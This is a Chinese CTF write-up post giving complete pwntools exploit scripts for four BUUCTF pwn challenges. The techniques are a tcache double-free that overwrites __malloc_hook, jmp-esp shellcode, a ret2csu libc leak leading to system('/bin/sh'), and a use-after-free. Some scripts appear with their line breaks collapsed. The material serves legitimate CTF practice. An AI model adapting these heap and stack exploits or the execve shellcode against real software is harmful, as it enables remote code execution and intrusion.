PWN-PRACTICE-BUUCTF-18

ciscn_2019_final_3
ciscn_2019_s_9
jarvisoj_level5
pwnable_hacknote

ciscn_2019_final_3

tcache dup
参考：[V&N2020 公开赛]easyTHeap + ciscn_2019_final_3 ——heap中tcache的一些简单利用方法

# -*- coding:utf-8 -*-
from pwn import *
context.log_level="debug"
#io=process("./ciscn_final_3")
io=remote("node4.buuoj.cn",27750)
elf=ELF("./ciscn_final_3")
libc=ELF("./libc.so.6")def add(index,size,content):io.sendlineafter("choice > ","1")io.sendlineafter("input the index\n",str(index))io.sendlineafter("input the size\n",str(size))io.sendlineafter("write something\n",content)
def free(index):io.sendlineafter("choice > ","2")io.sendlineafter("input the index\n",str(index))#gdb.attach(io)
#pause()add(0,0x78,"aaaa")
io.recvuntil("gift :0x")
addr=int(io.recvuntil("\n")[:-1],16)
print("addr=="+hex(addr))
add(1,0x18,"bbbb")
add(2,0x78,"cccc")
add(3,0x78,"cccc")
add(4,0x78,"cccc")
add(5,0x78,"cccc")
add(6,0x78,"cccc")
add(7,0x78,"cccc")
add(8,0x78,"cccc")
add(9,0x78,"cccc")
add(10,0x78,"cccc")
add(11,0x78,"cccc")
add(12,0x28,"cccc")#pause()free(12)#pause()free(12)#pause()add(13,0x28,p64(addr-0x10))#pause()add(14,0x28,p64(addr-0x10))#pause()add(15,0x28,p64(0)+p64(0x421))#pause()free(0)#pause()free(1)#pause()add(16,0x78,"abcd")#pause()add(17,0x18,"1234")#pause()add(18,0x18,"5678")#pause()io.recvuntil("gift :0x")
libc_base=int(io.recvuntil("\n")[:-1],16)-0x3ebca0
malloc_hook=libc_base+libc.sym["__malloc_hook"]
print("malloc_hook=="+hex(malloc_hook))
one_gadget=libc_base+0x10a38c
print("one_gadget=="+hex(one_gadget))#pause()free(6)
free(6)#pause()add(19,0x78,p64(malloc_hook))
add(20,0x78,p64(malloc_hook))#pause()add(21,0x78,p64(one_gadget))#pause()io.sendlineafter("choice > ","1")
io.sendlineafter("input the index\n","22")
io.sendlineafter("input the size\n","0")#pause()io.interactive()

ciscn_2019_s_9

保护几乎全没开，无NX，堆栈可执行
利用hint的jmp esp实现ret2shellcode

from pwn import *
#io=process('./ciscn_2019_s_9')
io=remote("node4.buuoj.cn",29490)
jmp_esp=0x8048554
shellcode="\x31\xc9\x6a\x0b\x58\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
payload=shellcode.ljust(0x24,'\x00')+p32(jmp_esp)
payload+=asm("sub esp,40;call esp")
io.sendline(payload)
io.interactive()

jarvisoj_level5

栈溢出，ret2csu

from pwn import *
#context.log_level='debug'
#io=process('./jarvisoj_level5')
io=remote("node4.buuoj.cn",28595)
elf=ELF('./jarvisoj_level5')
libc=ELF('./libc-2.23-x64.so')
part1=0x4006AA
part2=0x400690
write_plt=elf.plt['write']
write_got=elf.got['write']
read_got=elf.got['read']
main_addr=elf.sym['main']
pop_rdi=0x4006b3
io.recvuntil('Input:\n')
payload='a'*(0x80+8)
def com_gadget(part1, part2, jmp2, arg1 = 0x0, arg2 = 0x0, arg3 = 0x0):payload  = p64(part1)            # part1 entry pop_rbx_rbp_r12_r13_r14_r15_retpayload += p64(0x0)          # rbx must be 0x0payload += p64(0x1)          # rbp must be 0x1payload += p64(jmp2)         # r12 jump topayload += p64(arg3)         # r13  -> rdx    arg3payload += p64(arg2)          # r14  -> rsi    arg2payload += p64(arg1)          # r15d -> edi    arg1payload += p64(part2)         # part2 entry will call [r12+rbx*0x8]payload += 'A' * 56           # junk 6*8+8=56return payload
payload+=com_gadget(part1,part2,write_got,1,read_got,8)
payload+=p64(main_addr)
io.sendline(payload)
read_addr=u64(io.recv(6).ljust(8,'\x00'))
print(hex(read_addr))
libc_base=read_addr-libc.sym['read']
system=libc_base+libc.sym['system']
binsh=libc_base+libc.search('/bin/sh\x00').next()
io.recvuntil('Input:\n')
payload='a'*(0x80+8)+p64(pop_rdi)+p64(binsh)+p64(system)+p64(main_addr)
io.sendline(payload)
io.interactive()

pwnable_hacknote

UAF，参考：pwnable.tw 堆一hacknote

# -*- coding:utf-8 -*-
from pwn import *
#context.log_level="debug"
#io=process("./hacknote")
io=remote("node4.buuoj.cn",29535)
elf=ELF("./hacknote")
libc=ELF("./libc-2.23-16-x32.so")
read_got=elf.got["read"]def add(size,content):io.sendlineafter("Your choice :","1")io.sendlineafter("Note size :",str(size))io.sendlineafter("Content :",content)
def delete(index):io.sendlineafter("Your choice :","2")io.sendlineafter("Index :",str(index))
def show(index):io.sendlineafter("Your choice :","3")io.sendlineafter("Index :",str(index))
def exit():io.sendlineafter("Your choice :","4")add(0x18,"aaaa")#0
add(0x18,"bbbb")#1
delete(0)
delete(1)
add(0x8,p32(0x0804862B)+p32(read_got))
show(0)
read_addr=u32(io.recv(4))
print("read_addr=="+hex(read_addr))
libc_base=read_addr-libc.sym["read"]
system=libc_base+libc.sym["system"]
delete(2)
add(0x8,p32(system)+";sh")
show(0)
io.interactive()

PWN-PRACTICE-BUUCTF-18相关推荐

IT类英文电子书存档页面
为什么80%的码农都做不了架构师?>>> http://www.salttiger.com/archives/ 目前我主要在以下两个网站收集编程类的电子书,在这上面找不到的书, ...
Shellcode拷贝文件
#include "stdafx.h"int _tmain(int argc, _TCHAR* argv[]) {// 最终shellcode_asm{noppush ebpmov ...
持续更新 BUUCTF——PWN（一）
文章目录前言 test_your_nc rip warmup_csaw_2016 ciscn_2019_n_1 pwn1_sctf_2016 jarvisoj_level0 [第五空间2019 决赛 ...
BUUCTF Pwn warmup
BUUCTF Pwn warmup 1.题目下载地址 2.checksec检查保护 3.IDA静态分析 4.exp 1.题目下载地址点击下载题目 2.checksec检查保护啥都没开,果然是war ...
持续更新 BUUCTF——PWN（二）
文章目录前言 0ctf_2017_babyheap ciscn_2019_s_9 hitcon2014_stkof roarctf_2019_easy_pwn picoctf_2018_shellc ...
[PWN] BUUCTF jarvisoj_fm
[PWN] BUUCTF jarvisoj_fm 按照惯例checksec ,开启了relro,canary,nx 执行程序,观察程序的逻辑,在打印出输入的字符后,会打印出3! 32IDA打开查看主要 ...
BUUCTF PWN 刷题 1-15题
1 rip 经典栈溢出漏洞. from pwn import *p = remote('node4.buuoj.cn', 27181)payload = b'a' * 23 + p64(0x40118 ...
BUUCTF PWN rip1 WP
BUUCTF PWN rip 1 这是一个WP,也是一个自己练习过程的记录. 先把文件放入pwn机中检查一下,发现并没有开启保护,所以应该是一道简单题我们运行一下试试,它让你输入一段字符然后 ...
持续更新 BUUCTF——PWN（三）
文章目录前言 axb_2019_heap oneshot_tjctf_2016 护网杯_2018_gettingstart wustctf2020_number_game zctf2016_note ...
buuctf pwn bjdctf_2020_babyrop
buuctf pwn bjdctf_2020_babyrop 1.checksec 2.IDA分析 ropper 3.exp 1.checksec 运行一下 2.IDA分析这里调用了vuln函数我 ...

PWN-PRACTICE-BUUCTF-18

PWN-PRACTICE-BUUCTF-18

ciscn_2019_final_3

ciscn_2019_s_9

jarvisoj_level5

pwnable_hacknote

PWN-PRACTICE-BUUCTF-18相关推荐

最新文章

热门文章